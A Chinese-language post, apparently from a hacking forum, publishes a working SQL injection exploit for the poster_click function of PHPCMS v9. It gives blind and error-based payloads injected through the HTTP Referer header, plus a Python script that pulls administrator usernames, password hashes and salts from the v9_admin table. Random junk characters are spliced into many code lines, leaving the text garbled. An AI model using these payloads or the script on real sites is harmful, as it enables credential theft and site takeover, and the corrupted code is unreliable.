phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
2 N6 N9 F( Q+ A, j
问题函数\phpcms\modules\poster\index.php

$ @$ G3 b. y( o* i. Epublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
. W: m* D' [# B  t) H( k& @$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
/ l1 F- ]3 }/ }! Z3 ]. q. ?5 D$username = param::get_cookie('username') ? param::get_cookie('username') : '';
! C: d; l, ~; f% mif($id) {
5 @# s2 `/ K0 V% p" U$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
. @3 ?% [3 Z) s3 h% w! ?$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
4 d$ S) X' [% [  v}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
  f. E, R7 B2 q5 j' P2 l$setting = string2array($r['setting']);
  @1 u# O! C# ^& y2 E! L3 s9 Xif (count($setting)==1) {
6 Z" Q9 T4 y8 R' _; \4 R$url = $setting['1']['linkurl'];
/ G6 n$ I4 W4 X: ]" u( ~- u} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
) U6 O# W2 p& r# D8 cheader('Location: '.$url);
! e) f' i7 U) P}

- ?; F- k8 B0 }& t% r

利用方式：

. l* K2 v. D' J- S" [1 Z4 K1、可以采用盲注入的手法：
' p& F  g4 r+ M' @
0 v* \4 I: i) Preferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
: n' _  g2 [( a5 a  a
通过返回页面，正常与否一个个猜解密码字段。

5 N1 O2 u! D$ @+ Y$ T: u* ?2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
1 q# `- O9 O6 r3 t5 }9 z
# y5 x" u, X8 D' u: P9 t$ \3 ]  O0 h此方法是爆错注入手法，原理自查。
7 o) G5 s3 q9 W7 f1 N# q  p7 v* Y, b
( J. r! [& S- r5 z, [& _
# y- @4 K) N: v( Z
利用程序:

#!/usr/bin/env python
+ _3 J$ u! f4 m% L3 l- i4 f- U7 Himport httplib,sys,re
6 J# l3 _! s' r! a9 N
/ H( l- G: p2 a& R$ F$ Edef attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
paths=sys.argv[2]
conn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
3 P  c4 B* k. ?8 \“Accept”: “text/plain”,
! u# K6 }8 G6 B; t/ }5 f“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
# A8 b; \' ?& Gconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
; `1 j: b4 }  oprint datas[0]
- r6 [. A( w& c4 y, d: u% Rconn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
, t7 H4 G4 E3 `5 _1 Pprint “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
) G/ `1 y+ p9 {9 O* H! tattack()
" E# V3 B7 _, R4 n1 X) K
0 O: ?8 h2 J0 H) `) Q